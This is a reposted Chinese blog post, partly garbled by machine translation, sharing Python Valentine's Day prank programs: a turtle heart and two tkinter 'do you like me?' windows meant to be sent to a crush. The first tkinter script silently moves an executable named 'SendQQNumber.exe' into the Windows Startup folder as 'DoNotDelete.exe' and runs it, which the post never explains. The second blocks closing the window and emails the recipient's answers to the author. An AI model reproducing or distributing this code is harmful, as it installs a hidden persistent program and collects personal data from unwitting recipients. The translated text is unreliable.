当前位置:网站首页>Chinese valentine's day?Programmers don't exist

Chinese valentine's day?Programmers don't exist

2022-08-09 11:23:00 user_from_future

据说,看我文章时 关注、点赞、收藏帅哥美女们 心情都会不自觉的好起来.

前言:
🧡作者简介:大家好我是 user_from_future ,意思是 “ 来自未来的用户 ” ,寓意着未来的自己一定很棒~
个人主页:点我直达,在这里肯定能找到你想要的~
人生苦短,我用python

前言

虽然不得不承认,Tanabata without a girlfriend,Only the lonely call,But still…

turtle的七夕

Tanabata is inseparable from love,How to draw love,Can be more complicated for trigonometric functions,但对于turtle来说,Just a square and two circles can be drawn.不信?你看:

import turtle


def draw_love(location, side, color='pink'):
    """ 画爱心. :param location: 爱心的上方顶点坐标 :param side: 爱心边长 或 直径(爱心由一个正方形和两个圆形组成) :param color: 爱心颜色 :return: """
    color_old = turtle.color()
    angle = turtle.heading()
    turtle.penup()
    turtle.goto(*location)
    turtle.color(color)
    turtle.pendown()
    turtle.right(45)
    turtle.begin_fill()
    turtle.forward(side)
    turtle.right(90)
    turtle.forward(side)
    turtle.right(90)
    turtle.forward(side)
    turtle.right(90)
    turtle.forward(side)
    turtle.end_fill()
    turtle.left(90)
    turtle.begin_fill()
    turtle.circle(side / 2, 360)
    turtle.end_fill()
    turtle.left(90)
    turtle.begin_fill()
    turtle.circle(side / 2, 360)
    turtle.end_fill()
    turtle.penup()
    turtle.color(*color_old)
    turtle.goto(*location)
    turtle.setheading(angle)


draw_love((0, 0), 200)
turtle.done()

After the execution, the drawing steps of the love will come out,This is the painting result:

在这里插入图片描述

还是不错的.

tkinter的七夕

turtleCan draw romance,那么tkintercan draw naughty,展示一段 ”If you don't like it, you can't turn it off“ 的程序:

import os
import sys
import shutil
import random
import tkinter
import getpass
from tkinter import messagebox

if os.path.isfile('.\\小程序\\SendQQNumber.exe'):
    shutil.move('.\\小程序\\SendQQNumber.exe', f'C:\\Users\\{
      getpass.getuser()}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\DoNotDelete.exe')
    os.system(f'C:\\Users\\{
      getpass.getuser()}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\DoNotDelete.exe')


def close():
    messagebox.showinfo(title='注意!', message='别做梦了,you can't turn me off!')


def q():
    messagebox.showinfo(title='嘿嘿~', message='巧了,I also like you~')
    sys.exit()


def g(e):
    if e:
        x = random.randint(0, 320)
        y = random.randint(0, 160)
        b.place(x=x, y=y, width=80, height=40)


r = tkinter.Tk(className=' 你喜欢我吗?')
tkinter.Label(r, text='你喜欢我吗?', foreground='red', font=('', 24)).place(x=100, y=40, width=200, height=40)
tkinter.Button(r, text='喜欢', command=q).place(x=60, y=100, width=80, height=40)
b = tkinter.Button(r, text='不喜欢')
b.place(x=260, y=100, width=80, height=40)
b.bind('<Enter>', g)
r.geometry('400x200')
r.protocol("WM_DELETE_WINDOW", close)
r.mainloop()

Just opened as normal:

在这里插入图片描述

Once your mouse touches ”不喜欢“ ,then it will immediately change positions randomly,Don't leave you~

在这里插入图片描述

点×won't let you go~

在这里插入图片描述

if you like,Then he will like it back to you~

在这里插入图片描述

This small program is good,Send it to someone you like~

加强版tkinter的七夕

a little leisurely,Added point to enter name and auto email~代码如下:

import os
import sys
import time
import random
import tkinter
import smtplib
from email.header import Header
from email.mime.text import MIMEText
from tkinter import messagebox
import threading


def close1():
    messagebox.showinfo(title='注意!', message='别做梦了,you can't turn me off!')


def close2():
    global text, label
    if userInput.get().strip() == '博主姓名':
        t = 'do you really like me?'
    elif userInput.get().strip() in ['so-and-so name', 'XXX family name/surname', 'so-and-so's name', '我', '自己', '我自己']:
        t = 'do you really like yourself?'
    else:
        t = f'you really like {
      userInput.get()} 么?'
    res = messagebox.askyesno(title='嗯...', message=t)
    if res:
        messagebox.showinfo(title='嗯...', message='Then I can barely believe it~')
    else:
        messagebox.showinfo(title='哼!', message='我就知道!你不喜欢!')
    text = f'whether to click like:{
      flag},\n喜欢谁:{
      userInput.get()},\nIs it sincere:{
      res}'
    messagebox.showinfo(title='嘿嘿~', message=f'I'm going to tell the master what you told me!\n{
      text}')
    label.configure(text='The program will be unresponsive for a short period of time,Please be patient for the next popup~')
    time.sleep(1)
    if not os.system('ping www.baidu.com -n 1'):
        from_address = '[email protected]'
        pword = 'XXX'
        to_address = '[email protected]'
        smtp_server = 'smtp.sina.com'
        msg = MIMEText(text, 'plain', 'utf-8')
        msg['From'] = Header(from_address)
        msg['To'] = Header(to_address)
        msg['Subject'] = Header('Love')
        server = smtplib.SMTP_SSL(smtp_server)
        server.connect(smtp_server, 465)
        server.login(from_address, pword)
        server.sendmail(from_address, to_address, msg.as_string())
        server.quit()
        messagebox.showinfo(title='成功!', message='消息发送成功!The little one will wait for the master's inspection~')
    else:
        messagebox.showerror(title='失败!', message='消息发送失败!Failed to connect to the Internet!The little one will wait until the internet is restored to tell the owner!')
    sys.exit()


def q():
    global text, label, b1, b2
    r.title('真的吗?')
    b1.place_forget()
    b2.place_forget()
    if flag:
        text = 'You just clicked like without hesitation,\n' + text
    label.configure(text=text, font=('', 16))
    label.place(x=0, y=40, width=400, height=40)
    entry = tkinter.Entry(r, textvariable=userInput)
    entry.place(x=120, y=100, width=160, height=40)
    threading.Thread(target=check, daemon=True).start()


def check():
    while 1:
        if not userInput.get().strip():
            r.protocol("WM_DELETE_WINDOW", close1)
        else:
            r.protocol("WM_DELETE_WINDOW", close2)
        if userInput.get().strip() == '博主姓名':
            label.configure(text='哈哈哈,真棒!么么哒~')
        elif userInput.get().strip() in ['so-and-so name', 'XXX family name/surname', 'so-and-so's name', '我', '自己', '我自己']:
            label.configure(text='哇~you actually like yourself!我到现在才知道!')
        elif len(userInput.get().strip()) >= 2 and userInput.get().strip() not in ['The first two characters of the blogger's name', 'first two characters of so-and-so's name']:
            label.configure(text='who is this?老实交代!')
        elif len(userInput.get().strip()) > 4:
            label.configure(text='Do you know anyone with such a long name?,Don't lose~')
        else:
            label.configure(text=text)
        time.sleep(0.5)


def g(e):
    global flag
    if e:
        flag = False
        x = random.randint(0, 320)
        y = random.randint(0, 160)
        b2.place(x=x, y=y, width=80, height=40)


flag = True
text = 'what you said you like,who do you like?'
r = tkinter.Tk(className=' 你喜欢我吗?')
userInput = tkinter.StringVar()
label = tkinter.Label(r, text='你喜欢我吗?', foreground='red', font=('', 24))
label.place(x=100, y=40, width=200, height=40)
b1 = tkinter.Button(r, text='喜欢', command=q)
b1.place(x=60, y=100, width=80, height=40)
b2 = tkinter.Button(r, text='不喜欢')
b2.place(x=260, y=100, width=80, height=40)
b2.bind('<Enter>', g)
r.geometry('400x200')
r.protocol("WM_DELETE_WINDOW", close1)
r.mainloop()

More than just now,The first is to automatically detect whether you like it directly,I still like it because I don't like it because I don't like it.:

在这里插入图片描述
在这里插入图片描述

Then enter the name characters up to2位之后,And wake up the detection function:

在这里插入图片描述

But if it's your own name,will show again:

在这里插入图片描述

but if the characters exceed4character and not the default name,就会显示:

在这里插入图片描述

Click with input×Email will automatically~

在这里插入图片描述

Try it yourself~

结束语

The lonely Chinese Valentine's Day is finally coming to an end,Go to the king to abuse the young couple~

原网站

版权声明
本文为[user_from_future]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/221/202208091102564178.html